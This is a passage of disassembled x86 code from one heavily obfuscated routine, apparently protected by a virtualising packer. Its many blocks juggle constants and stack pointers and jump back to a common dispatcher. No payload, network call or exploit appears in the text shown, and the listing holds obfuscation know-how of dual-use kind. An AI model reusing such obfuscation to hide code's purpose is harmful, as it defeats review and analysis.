		xchg	edi, [esp+2Ch+var_2C]
		pop	esp
		mov	[esp+28h+var_28], esi
		push	7D8Ah
		jmp	loc_5928D2
; ---------------------------------------------------------------------------


loc_58F374:				; CODE XREF: sub_58A891+F607j
		jnp	loc_594E11
		or	eax, 719310BFh
		jmp	loc_593CBC
; ---------------------------------------------------------------------------


loc_58F384:				; CODE XREF: sub_58A891+697Ej
		push	ebx
		mov	ebx, 0CA12EC81h
		jmp	loc_596A64
; ---------------------------------------------------------------------------


loc_58F38F:				; CODE XREF: sub_58A891+9D25j
		add	bl, 0ABh
		jmp	loc_59A533
; ---------------------------------------------------------------------------


loc_58F397:				; CODE XREF: sub_58A891+993Bj
		xchg	edi, [esp+30h+var_30]
		jmp	loc_59BB02
; ---------------------------------------------------------------------------


loc_58F39F:				; CODE XREF: sub_58A891+EF6Aj
		push	[esp+30h+var_2C]
		jmp	loc_5905DB
; ---------------------------------------------------------------------------


loc_58F3A8:				; CODE XREF: sub_58A891+5774j
		sub	esp, 4
		mov	[esp+38h+var_38], eax
		mov	eax, edi
		jmp	loc_59B84E
; ---------------------------------------------------------------------------


loc_58F3B5:				; CODE XREF: sub_58A891+5559j
		sub	eax, ebp
		jmp	loc_597D60
; ---------------------------------------------------------------------------


loc_58F3BC:				; CODE XREF: sub_58A891+105F2j
		pop	ecx
		xchg	edi, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], ecx
		mov	cl, 0E2h
		xor	cl, 41h
		not	cl
		shl	cl, 8
		not	cl
		shl	cl, 3
		sub	cl, 1
		push	3CAFh
		mov	[esp+34h+var_34], edx
		mov	dh, 0D2h
		or	dh, 73h
		neg	dh
		push	ecx
		mov	cl, 0E4h
		push	edx
		jmp	loc_5975DF
; ---------------------------------------------------------------------------


loc_58F3EE:				; CODE XREF: sub_58A891+8CFAj
		push	esp
		jmp	loc_595A69
; ---------------------------------------------------------------------------


loc_58F3F4:				; CODE XREF: sub_58A891+53A6j
		dec	ch
		dec	ch
		xor	ch, 12h
		not	ch
		sub	ch, 58h
		add	al, ch
		jmp	loc_59599A
; ---------------------------------------------------------------------------


loc_58F407:				; CODE XREF: sub_58A891+5FBEj
		jmp	loc_594FBB
; ---------------------------------------------------------------------------


loc_58F40C:				; CODE XREF: sub_58A891+42EEj
		xor	ecx, 1D1B50C6h
		neg	ecx
		or	ecx, 0D376A85h
		dec	ecx
		dec	ecx
		xor	ecx, 0F8DF9807h
		sub	edi, ecx
		jmp	loc_590C3E
; ---------------------------------------------------------------------------


loc_58F429:				; CODE XREF: sub_58A891+4FD0j
		push	ecx
		push	ebp
		jmp	loc_590522
; ---------------------------------------------------------------------------


loc_58F430:				; CODE XREF: sub_58A891+A893j
		push	esp
		mov	ebp, [esp+54h+var_54]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58FF37
; ---------------------------------------------------------------------------


loc_58F445:				; CODE XREF: sub_58A891+C0D7j
					; sub_58A891+E4A6j
		xor	ebp, edi
		pop	edi
		add	edx, ebp
		pop	ebp
		and	eax, edx
		jmp	loc_59A7D9
; ---------------------------------------------------------------------------


loc_58F452:				; CODE XREF: sub_58A891+FC5Aj
		push	[esp+48h+var_44]
		pop	ebx
		pop	[esp+48h+var_48]
		mov	esp, [esp+44h+var_44]
		idiv	ecx
		jmp	loc_593741
; ---------------------------------------------------------------------------


loc_58F464:				; CODE XREF: sub_58A891+10D09j
		sub	edx, eax
		add	edx, 0E834C84h
		push	eax
		mov	eax, 2155117Ch
		add	edx, eax
		jmp	loc_599F81
; ---------------------------------------------------------------------------


loc_58F479:				; CODE XREF: sub_58A891+7838j
		not	ebp
		shl	ebp, 1
		push	ecx
		mov	ecx, 5FF159B4h
		xor	ebp, ecx
		jmp	loc_592314
; ---------------------------------------------------------------------------


loc_58F48A:				; CODE XREF: sub_58A891+F7AEj
		pop	ebp
		xchg	ebx, [esp+48h+var_48]
		mov	esp, [esp+48h+var_48]
		mul	cl
		jmp	loc_593F7C
; ---------------------------------------------------------------------------


loc_58F498:				; CODE XREF: sub_58A891+775Ej
					; sub_58A891+C206j
		add	edi, 4
		xchg	edi, [esp+48h+var_48]
		pop	esp
		add	esp, 4
		jmp	loc_59245C
; ---------------------------------------------------------------------------


loc_58F4A7:				; CODE XREF: sub_58A891+91BAj
		sub	ebp, 4
		xchg	ebp, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], ebx
		push	esp
		pop	ebx
		jmp	loc_596C84
; ---------------------------------------------------------------------------


loc_58F4B8:				; CODE XREF: sub_58A891+9CCCj
		inc	eax
		add	eax, 54BD6B93h
		add	eax, 1800640Ch
		or	eax, 47E5767Fh
		or	eax, 2D002388h
		sub	eax, 6EF73DD4h
		xor	esi, eax
		pop	eax
		add	eax, esi
		mov	esi, [esp+38h+var_38]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Ch+var_3C]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_59407E
; ---------------------------------------------------------------------------


loc_58F4F5:				; CODE XREF: sub_58A891+48FDj
		xor	esi, 41814769h
		shl	esi, 3
		add	esi, 98CC1E54h
		add	eax, esi
		pop	esi
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		movsx	ecx, ax
		push	ebx
		sub	esp, 4
		jmp	loc_591434
; ---------------------------------------------------------------------------


loc_58F51A:				; CODE XREF: sub_58A891+B49Fj
					; sub_58A891+D0BDj
		add	[esp+12h+var_10+2], 2AB34FAh
		add	[esp+12h+var_10+2], ebx
		push	edi
		mov	edi, 2AB34FAh
		sub	[esp+16h+var_10+2], 41B0A42h
		sub	[esp+16h+var_10+2], edi
		add	[esp+16h+var_10+2], 41B0A42h
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		pop	ebx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F54F:				; CODE XREF: sub_58A891+3DCDj
		mov	esp, [esp+44h+var_44]
		mov	[esp+44h+var_44], esp
		add	[esp+44h+var_44], 4
		mov	ebx, [esp+44h+var_44]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp+40h+var_40]
		xor	[esp+40h+var_40], ebx
		xor	ebx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		jmp	loc_597080
; ---------------------------------------------------------------------------


loc_58F582:				; CODE XREF: sub_58A891+93EBj
		add	ebx, edx
		push	[esp+40h+var_40]
		pop	edx
		jmp	loc_59439D
; ---------------------------------------------------------------------------


loc_58F58D:				; CODE XREF: sub_58A891+B75Cj
		sub	bh, 31h
		mov	ecx, [esp+40h+var_40]
		add	esp, 4
		jmp	loc_595AF4
; ---------------------------------------------------------------------------


loc_58F59B:				; CODE XREF: sub_58A891+60FCj
		shr	edx, 7
		jnz	loc_596932
		add	edx, 6CBC6825h
		mov	edi, edx
		mov	dl, cl


loc_58F5AE:				; CODE XREF: sub_58A891+9CBCj
		sub	ebp, 0FFFFFFFFh
		push	edi
		push	ebx
		jmp	loc_597D72
; ---------------------------------------------------------------------------


loc_58F5B8:				; CODE XREF: sub_58A891+E120j
		shl	edx, 1
		jz	loc_59A517
		shl	edx, 8
		xor	edx, 1C98252Eh
		jle	loc_597846
		sub	edx, 0EB40E238h
		mov	eax, edx
		mov	edx, [esp+44h+var_44]
		add	esp, 4
		sub	eax, 345F95Ah
		mov	edi, eax
		pop	eax
		and	edi, 1F867761h
		shr	edi, 1
		neg	edi
		jle	loc_591779
		push	eax
		mov	eax, 769B1C92h
		sub	eax, 7557FF13h
		push	edx
		mov	ah, dh


loc_58F606:				; CODE XREF: sub_58A891+9D47j
		push	ebp
		mov	ebp, 23723092h
		add	[esp+48h+var_44], ebp
		pop	ebp
		push	[esp+44h+var_44]
		pop	eax
		push	edi
		push	esp
		mov	edi, [esp+4Ch+var_4C]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_593FFD
; ---------------------------------------------------------------------------


loc_58F62E:				; CODE XREF: sub_58A891+B67Fj
		add	ebx, 2E9F518Ah
		jmp	loc_59BAD0
; ---------------------------------------------------------------------------


loc_58F639:				; CODE XREF: sub_58A891+D9D8j
		add	ebx, 0D2B4E693h
		or	esi, ebx
		pop	ebx
		xor	esi, 44987A60h
		sub	edi, esi
		mov	esi, [esp+4Ch+var_4C]
		add	esp, 4
		push	[esp+48h+var_48]
		pop	edx
		add	esp, 4
		add	edi, 2
		jmp	loc_5948D7
; ---------------------------------------------------------------------------


loc_58F668:				; CODE XREF: sub_58A891+7427j
		mov	ecx, 5018561Eh
		not	ecx
		inc	ecx
		shr	ecx, 6
		shr	ecx, 3
		shl	ecx, 2
		push	ebp
		mov	ebp, 3C2E0A6Fh
		sub	ebp, 5C9105F1h
		xor	ebp, 213D34CAh
		add	ecx, ebp
		jmp	loc_59B770
; ---------------------------------------------------------------------------


loc_58F692:				; CODE XREF: sub_58A891+9A6Bj
		add	ebp, 21F55B97h
		jnp	loc_59BB31
		jmp	loc_5983B8
; ---------------------------------------------------------------------------


loc_58F6A3:				; CODE XREF: sub_58A891+C426j
		push	edi
		sub	[esp+4Ch+var_4C], 4532009Fh
		pop	ecx
		jmp	loc_597218
; ---------------------------------------------------------------------------


loc_58F6B1:				; CODE XREF: sub_58A891+DD7Bj
		xchg	eax, [esp+48h+var_48]
		pop	esp
		and	eax, edx
		mov	edx, [esp+44h+var_44]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		push	eax
		mov	esi, [esp+48h+var_48]
		push	edi
		push	esp
		jmp	loc_592BBE
; ---------------------------------------------------------------------------


loc_58F6D4:				; CODE XREF: sub_58A891+F338j
		pop	edi
		add	edi, 519B5484h
		mov	ecx, [esp+4Ch+var_4C]
		add	esp, 4
		add	[esp+48h+var_44], edi
		pop	edi
		jmp	loc_590823
; ---------------------------------------------------------------------------


loc_58F6EE:				; CODE XREF: sub_58A891+B3B8j
		mov	ebp, 331754B1h
		jmp	loc_599866
; ---------------------------------------------------------------------------


loc_58F6F8:				; CODE XREF: sub_58A891+AADDj
		add	ebp, edx
		add	ebp, 6C98073Dh
		push	[esp+44h+var_44]
		pop	edx
		add	esp, 4
		xchg	ebp, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		shr	eax, 0Ch
		xor	eax, ecx
		xchg	eax, ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	4
		pop	ebp
		jmp	loc_59ADE7
; ---------------------------------------------------------------------------


loc_58F728:				; CODE XREF: sub_58A891+FFAFj
		add	dl, 0EBh
		xor	ah, dl
		pop	edx
		push	cx
		mov	ch, 7Ah
		sub	ah, ch
		pop	cx
		jmp	loc_58FBA7
; ---------------------------------------------------------------------------


loc_58F73B:				; CODE XREF: sub_58A891+5B5Fj
		push	eax
		push	4F987654h
		jmp	loc_58FB91
; ---------------------------------------------------------------------------


loc_58F746:				; DATA XREF: sub_58A891+3BCBo
		neg	[esp+8+var_8]
		pushf
		jmp	loc_58F776
; ---------------------------------------------------------------------------


loc_58F74F:				; CODE XREF: sub_58A891+D276j
		or	ecx, 1E37799h
		not	ecx
		shl	ecx, 1
		xor	ecx, 75D34FAEh
		or	ebx, ecx
		pop	ecx
		jmp	loc_590854
; ---------------------------------------------------------------------------


loc_58F767:				; CODE XREF: sub_58A891+F18Ej
		mov	al, ch
		pop	ecx
		pop	edx
		sub	bl, al
		mov	ax, [esp+0]
		jmp	loc_595E49
; ---------------------------------------------------------------------------


loc_58F776:				; CODE XREF: sub_58A891+4EB9j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F77B:				; CODE XREF: sub_58A891+60A8j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F780:				; CODE XREF: sub_58A891+B172j
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 6905223Dh
		push	ebp
		mov	ebp, 126B7861h
		jmp	loc_59B4C3
; ---------------------------------------------------------------------------


loc_58F794:				; CODE XREF: sub_58A891+E2C5j
		mov	ah, 0C1h
		push	edx
		mov	dl, 6Bh
		or	dl, 75h
		shl	dl, 4
		sub	dl, 5Eh
		xor	ah, dl
		push	[esp+1Ch+var_1C]
		pop	edx
		add	esp, 4
		neg	ah
		jmp	loc_5970B3
; ---------------------------------------------------------------------------


loc_58F7B5:				; CODE XREF: sub_58A891+92CBj
		shl	edx, 1
		push	2126h
		mov	[esp+1Ch+var_1C], ecx
		push	esi
		push	edx
		push	eax
		mov	eax, 621931C0h
		mov	edx, eax
		jmp	loc_593062
; ---------------------------------------------------------------------------


loc_58F7CE:				; CODE XREF: sub_58A891+8F46j
		xor	edx, 2C9F3E2Dh
		jmp	loc_595517
; ---------------------------------------------------------------------------


loc_58F7D9:				; CODE XREF: sub_58A891+4303j
		mov	ecx, 18447CC2h
		push	ecx
		xor	[esp+18h+var_18], 7443194Ch
		pop	eax
		xor	eax, 7443194Ch
		pop	ecx
		shl	eax, 1
		jmp	loc_590D5F
; ---------------------------------------------------------------------------


loc_58F7F4:				; CODE XREF: sub_58A891+70E7j
		mov	dh, al
		mov	bl, dh
		pop	edx
		jmp	loc_596213
; ---------------------------------------------------------------------------


loc_58F7FE:				; CODE XREF: sub_58A891+C5E4j
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		push	ebp
		push	edx
		jmp	loc_58FA63
; ---------------------------------------------------------------------------


loc_58F80F:				; CODE XREF: sub_58A891+9062j
		add	eax, 3C1C7E9Dh
		jmp	loc_593C05
; ---------------------------------------------------------------------------


loc_58F819:				; CODE XREF: sub_58A891+61F6j
		add	esp, 4
		pop	ecx
		sub	al, bl
		mov	ebx, [esp+8+var_8]
		push	eax
		jmp	loc_58FE3B
; ---------------------------------------------------------------------------


loc_58F82B:				; CODE XREF: sub_58A891+E757j
		add	edx, 53641416h
		mov	esi, [esp+0Ch+var_C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_59ACF8
; ---------------------------------------------------------------------------


loc_58F848:				; CODE XREF: sub_58A891+F7F6j
		xor	ecx, 91F19A7h
		push	[esp+14h+var_14]
		pop	eax
		jmp	loc_597BC8
; ---------------------------------------------------------------------------


loc_58F857:				; CODE XREF: sub_58A891+E4E5j
		jmp	loc_594F44
; ---------------------------------------------------------------------------


loc_58F85C:				; CODE XREF: sub_58A891+8A3Aj
		mov	ebx, 68937147h
		jmp	loc_58F429
; ---------------------------------------------------------------------------


loc_58F866:				; CODE XREF: sub_58A891+9E12j
		push	[esp+14h+var_10]
		pop	esi
		pop	[esp+14h+var_14]
		mov	esp, [esp+10h+var_10]
		dec	byte ptr [esp+10h+var_10]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F87A:				; CODE XREF: sub_58A891+10536j
		xor	esi, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		push	esi
		xor	[esp+14h+var_14], 1D006A53h
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	ebx
		jmp	loc_58FFE8
; ---------------------------------------------------------------------------


loc_58F899:				; CODE XREF: sub_58A891+F25Dj
		push	esi
		push	[esp+18h+var_14]
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		pop	[esp+18h+var_18]
		jmp	loc_593FEC
; ---------------------------------------------------------------------------


loc_58F8AC:				; CODE XREF: sub_58A891+51FCj
		push	esp
		pop	[esp+18h+var_18]
		add	[esp+14h+var_14], 4
		push	[esp+14h+var_14]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		push	esi
		mov	esi, 2BFE061Eh
		sub	esi, 2BFE061Ah
		add	edi, esi
		pop	esi
		xor	edi, [esp+10h+var_10]
		xor	[esp+10h+var_10], edi
		xor	edi, [esp+10h+var_10]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F8F2:				; CODE XREF: sub_58A891+5811j
		jnp	loc_59B9BA
		xor	ecx, 675E633Dh
		jmp	loc_596BB6
; ---------------------------------------------------------------------------
		pop	eax
		push	ebx


loc_58F905:				; CODE XREF: sub_58A891+54E6j
		mov	bp, 4BD6h
		add	bp, 1
		jmp	loc_597A96
; ---------------------------------------------------------------------------


loc_58F913:				; CODE XREF: sub_58A891+50BCj
		pop	ebp
		pop	edi
		sub	ebx, 76666D84h
		pop	small word ptr [eax]
		jmp	loc_5982AD
; ---------------------------------------------------------------------------


loc_58F923:				; CODE XREF: sub_58A891+9736j
		mov	ebp, [esp+2+var_4+2]
		jmp	loc_596501
; ---------------------------------------------------------------------------


loc_58F92B:				; CODE XREF: sub_58A891+D7A5j
		movzx	eax, al
		jmp	loc_593BA9
; ---------------------------------------------------------------------------


loc_58F933:				; DATA XREF: sub_58A891+3C1Bo
		pop	small word ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F93B:				; DATA XREF: sub_58A891+3A5Fo
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_58E574
; ---------------------------------------------------------------------------


loc_58F944:				; CODE XREF: sub_58A891+67D0j
		not	ebp
		jmp	loc_5963C7
; ---------------------------------------------------------------------------


loc_58F94B:				; CODE XREF: sub_58A891+95C8j
		sub	ebx, ebp
		jmp	loc_58F913
; ---------------------------------------------------------------------------


loc_58F952:				; CODE XREF: sub_58A891+96CCj
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		push	[esp+0Ch+var_8]
		jmp	loc_592657
; ---------------------------------------------------------------------------


loc_58F964:				; CODE XREF: sub_58A891+544Cj
		sub	eax, 741510ECh
		pop	esi
		add	eax, 28131C5Ah
		add	eax, edi
		sub	eax, 28131C5Ah
		mov	[eax], ebx
		pop	eax
		mov	ebx, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		xchg	ebx, [edi+20h]
		not	ebx
		xchg	ebx, [edi+20h]
		sub	dword ptr [edi+20h], 0FFFFFFFFh
		and	dword ptr [edi+20h], 0F524E30h
		add	dword ptr [edi+20h], 0FCAFF800h


loc_58F9A9:				; CODE XREF: sub_58A891+3FEAj
					; sub_58A891:loc_597F29j
		mov	ebx, [esp+8+var_8]
		jmp	loc_58FA87
; ---------------------------------------------------------------------------


loc_58F9B1:				; CODE XREF: sub_58A891+D37Dj
		push	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	ebp
		jmp	loc_592B31
; ---------------------------------------------------------------------------


loc_58F9C2:				; CODE XREF: sub_58A891+DB22j
		xchg	eax, ebp
		push	ebp
		push	[esp+10h+var_C]
		mov	ebp, [esp+14h+var_14]
		push	ebp
		jmp	loc_593D04
; ---------------------------------------------------------------------------


loc_58F9D1:				; CODE XREF: sub_58A891+1123Aj
		push	eax
		mov	eax, 1CB45BF5h
		jmp	loc_595B4B
; ---------------------------------------------------------------------------


loc_58F9DC:				; CODE XREF: sub_58A891+7CC5j
		mov	dx, word ptr [esp+1Ch+var_1C]
		jmp	loc_58EF17
; ---------------------------------------------------------------------------


loc_58F9E5:				; CODE XREF: sub_58A891+6633j
		push	ecx
		jmp	loc_5900F0
; ---------------------------------------------------------------------------


loc_58F9EB:				; CODE XREF: sub_58A891+8F1Dj
		push	dword ptr [edi+eax*4]
		push	[esp+24h+var_24]
		jmp	loc_58EB0D
; ---------------------------------------------------------------------------


loc_58F9F6:				; CODE XREF: sub_58A891+846Aj
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp+28h+var_28]
		pop	esp
		sub	edx, 0FFFFFFFFh
		add	edx, 7429209Dh
		not	edx
		xor	edx, 70A5923Eh
		and	eax, edx
		push	[esp+24h+var_24]
		pop	edx
		jmp	loc_594D48
; ---------------------------------------------------------------------------


loc_58FA24:				; CODE XREF: sub_58A891+D40Ej
		add	edi, 1F9D14A5h
		sub	esp, 4
		mov	[esp+28h+var_28], edi
		jmp	loc_594090
; ---------------------------------------------------------------------------


loc_58FA38:				; CODE XREF: sub_58A891+DD1Ej
		xor	edi, 84446E32h
		mov	eax, edi
		pop	edi
		not	eax
		jmp	loc_5951D1
; ---------------------------------------------------------------------------


loc_58FA48:				; CODE XREF: sub_58A891+D693j
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+20h+var_20]
		mov	esp, [esp+20h+var_20]
		jmp	loc_5998C6
; ---------------------------------------------------------------------------


loc_58FA5C:				; CODE XREF: sub_58A891:loc_59661Aj
		neg	eax
		jmp	loc_5910AA
; ---------------------------------------------------------------------------


loc_58FA63:				; CODE XREF: sub_58A891+4F79j
		mov	edx, 5CEB303Fh
		mov	ebp, 278D79C8h
		xor	ebp, edx
		pop	edx
		jmp	loc_58FB52
; ---------------------------------------------------------------------------


loc_58FA75:				; CODE XREF: sub_58A891+105FFj
		mov	ecx, 528C64B5h
		jmp	loc_5986CC
; ---------------------------------------------------------------------------


loc_58FA7F:				; CODE XREF: sub_58A891+B226j
		add	ebx, edx
		pop	edx
		jmp	loc_58E6B0
; ---------------------------------------------------------------------------


loc_58FA87:				; CODE XREF: sub_58A891+511Bj
		push	edi
		push	678h
		jmp	loc_58F8AC
; ---------------------------------------------------------------------------


loc_58FA92:				; CODE XREF: sub_58A891+CE7Ej
		push	esi
		jmp	loc_590A97
; ---------------------------------------------------------------------------


loc_58FA98:				; CODE XREF: sub_58A891+D913j
		add	esp, 4
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		jmp	loc_597F85
; ---------------------------------------------------------------------------


loc_58FAB2:				; CODE XREF: sub_58A891+4988j
		add	ebp, 782A1097h
		pop	eax
		xor	ebp, [esp+24h+var_24]
		xor	[esp+24h+var_24], ebp
		jmp	loc_598C16
; ---------------------------------------------------------------------------


loc_58FAC4:				; CODE XREF: sub_58A891+87CCj
		mov	ebx, eax
		jmp	loc_591A44
; ---------------------------------------------------------------------------


loc_58FACB:				; CODE XREF: sub_58A891+451Fj
		sub	ecx, 7AF77BF1h
		mov	ebp, ecx
		pop	ecx
		add	edi, ebp
		mov	ebp, [esp-0Ch+arg_4]
		add	esp, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		shl	byte ptr [esp+0], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FAF1:				; CODE XREF: sub_58A891+7847j
		push	2487h
		push	esp
		pop	dword ptr [esp+0]
		add	[esp-8+arg_0], 4
		jmp	loc_591DB9
; ---------------------------------------------------------------------------


loc_58FB06:				; CODE XREF: sub_58A891+DA17j
		xchg	esi, [esp-8+arg_0]
		jmp	loc_591A67
; ---------------------------------------------------------------------------


loc_58FB0E:				; CODE XREF: sub_58A891+A595j
		add	esp, 4
		push	[esp-0Ch+arg_4]
		jmp	loc_5966F0
; ---------------------------------------------------------------------------


loc_58FB19:				; CODE XREF: sub_58A891+67C9j
		mov	ecx, 709B25F4h
		add	ecx, 0FEB4F6D2h
		add	esi, ecx
		pop	ecx
		mov	edi, [esp-0Ch+arg_4]
		add	esp, 4
		jmp	loc_59A352
; ---------------------------------------------------------------------------


loc_58FB35:				; CODE XREF: sub_58A891+F57Aj
		mov	esp, [esp+0]
		imul	ecx
		push	1559h
		mov	[esp-0Ch+arg_4], edx
		push	eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FB49:				; CODE XREF: sub_58A891+9033j
		push	[esp-4+arg_0]
		jmp	loc_5997EC
; ---------------------------------------------------------------------------


loc_58FB52:				; CODE XREF: sub_58A891+51DFj
		xor	ebp, 7B6649F5h
		add	edi, 6E470113h
		sub	edi, ebp
		sub	edi, 6E470113h
		pop	ebp
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	word ptr [esp+4+var_4],	cx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FB74:				; CODE XREF: sub_58A891+3FA4j
		push	ebx
		mov	eax, [esp+44h+var_44]
		add	esp, 4
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		push	ebx
		not	[esp+40h+var_40]
		pop	ebx
		push	eax
		jmp	loc_5989B6
; ---------------------------------------------------------------------------


loc_58FB8C:				; CODE XREF: sub_58A891+82F5j
		jmp	loc_590A1B
; ---------------------------------------------------------------------------


loc_58FB91:				; CODE XREF: sub_58A891+4EB0j
		pop	eax
		add	eax, 3C3A2EDFh
		jmp	loc_59BA77
; ---------------------------------------------------------------------------


loc_58FB9C:				; CODE XREF: sub_58A891+99CDj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FBA1:				; CODE XREF: sub_58A891+A0D9j
		pop	ebx
		jmp	loc_5946B1
; ---------------------------------------------------------------------------


loc_58FBA7:				; CODE XREF: sub_58A891+4EA5j
		add	ah, 0F9h
		jmp	loc_59134B
; ---------------------------------------------------------------------------


loc_58FBAF:				; CODE XREF: sub_58A891+AF7Dj
		add	esp, 4
		pop	edx
		xor	eax, esi
		push	[esp+3Ch+var_3C]
		mov	esi, [esp+40h+var_40]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_59A478
; ---------------------------------------------------------------------------


loc_58FBC9:				; CODE XREF: sub_58A891+712Cj
		push	ebx
		jmp	loc_5995E6
; ---------------------------------------------------------------------------


loc_58FBCF:				; CODE XREF: sub_58A891+8255j
		add	[esp+44h+var_40], edx
		mov	edx, [esp+44h+var_44]
		add	esp, 4
		push	[esp+40h+var_40]
		pop	edx
		sub	esp, 4
		mov	[esp+44h+var_44], edx
		push	esp
		jmp	loc_594656
; ---------------------------------------------------------------------------


loc_58FBEC:				; CODE XREF: sub_58A891+654Ej
		push	[esp+48h+var_48]
		pop	eax
		add	esp, 4
		push	3BFAh
		mov	[esp+48h+var_48], ebp
		jmp	loc_59610C
; ---------------------------------------------------------------------------


loc_58FC00:				; CODE XREF: sub_58A891+559Ej
		push	3F33h
		mov	[esp+4Ch+var_4C], ebx
		mov	bh, 0ECh
		sub	bh, 0A2h
		add	bh, 0D3h
		jmp	loc_596C9E
; ---------------------------------------------------------------------------


loc_58FC15:				; CODE XREF: sub_58A891+7E44j
					; sub_58A891+1003Dj
		sub	ah, 2
		inc	ah
		sub	ah, 25h
		sub	ah, 5
		jmp	loc_595E28
; ---------------------------------------------------------------------------


loc_58FC25:				; CODE XREF: sub_58A891+3F26j
		add	esp, 4
		push	6ED0h
		jmp	loc_592C6C
; ---------------------------------------------------------------------------


loc_58FC35:				; CODE XREF: sub_58A891+9AEBj
		mov	ch, 6Ah
		jmp	loc_58F3F4
; ---------------------------------------------------------------------------


loc_58FC3C:				; CODE XREF: sub_58A891+93B3j
		add	ebp, 4F072DBFh
		pop	ecx
		add	eax, 2F9C4FBAh
		push	edi
		mov	edi, 534C2CB8h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		or	edi, 133EF9h
		or	edi, 17FC31E7h
		and	edi, 0B6C4C36h
		xor	edi, 33826F18h
		jmp	loc_596864
; ---------------------------------------------------------------------------


loc_58FC71:				; CODE XREF: sub_58A891+DD11j
		pop	esi
		dec	esi
		jle	loc_595204
		dec	esi
		js	loc_59B1B2
		xor	esi, 675E6F24h
		mov	edx, esi
		pop	esi
		add	ecx, 1AA35F65h
		jmp	loc_59540C
; ---------------------------------------------------------------------------


loc_58FC94:				; CODE XREF: sub_58A891+79CAj
		shr	esi, 1
		sub	esi, 0FB0862Ah
		jmp	loc_5950C7
; ---------------------------------------------------------------------------


loc_58FCA1:				; CODE XREF: sub_58A891+C4A7j
		pop	eax
		push	edi
		push	esp
		jmp	loc_5925C4
; ---------------------------------------------------------------------------


loc_58FCA9:				; CODE XREF: sub_58A891+E833j
		mov	edi, ebp
		jmp	loc_590112
; ---------------------------------------------------------------------------


loc_58FCB0:				; CODE XREF: sub_58A891+E548j
		xor	ebp, edi
		pop	edi
		add	ebx, 607F5119h
		push	ecx
		mov	ecx, 39F00F21h
		sub	ecx, 2B2B763Bh
		add	ecx, 4FDF9355h
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		jmp	loc_59AF49
; ---------------------------------------------------------------------------


loc_58FCD5:				; CODE XREF: sub_58A891+4005j
		add	[esp+48h+var_48], 741510ECh
		pop	eax
		jmp	loc_58F964
; ---------------------------------------------------------------------------


loc_58FCE2:				; CODE XREF: sub_58A891+6E9Fj
		mov	eax, 4
		add	[esp+44h+var_40], eax
		pop	eax
		pop	eax
		jmp	loc_58EC09
; ---------------------------------------------------------------------------


loc_58FCF2:				; CODE XREF: sub_58A891+7CACj
		add	edx, 4
		push	esi
		mov	esi, 230117E7h
		jmp	loc_5949C8
; ---------------------------------------------------------------------------


loc_58FD03:				; CODE XREF: sub_58A891+A1A2j
		mov	esp, [esp+40h+var_40]
		mov	[esp+40h+var_40], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58FD0E:				; CODE XREF: sub_58A891+EB80j
		sub	edi, 45633F95h
		shl	edi, 2
		jmp	loc_59A796
; ---------------------------------------------------------------------------


loc_58FD1C:				; CODE XREF: sub_58A891+A64Cj
		mov	dh, 4Fh
		not	dh
		add	dh, 66h
		jbe	loc_59523D
		jmp	loc_59B427
; ---------------------------------------------------------------------------
		jmp	loc_59B485
; ---------------------------------------------------------------------------
		pop	esi


loc_58FD34:				; CODE XREF: sub_58A891+89E4j
		push	edx
		mov	edx, 4A54B343h
		add	eax, edx
		pop	edx
		and	edi, eax
		pop	eax
		shl	edi, 4
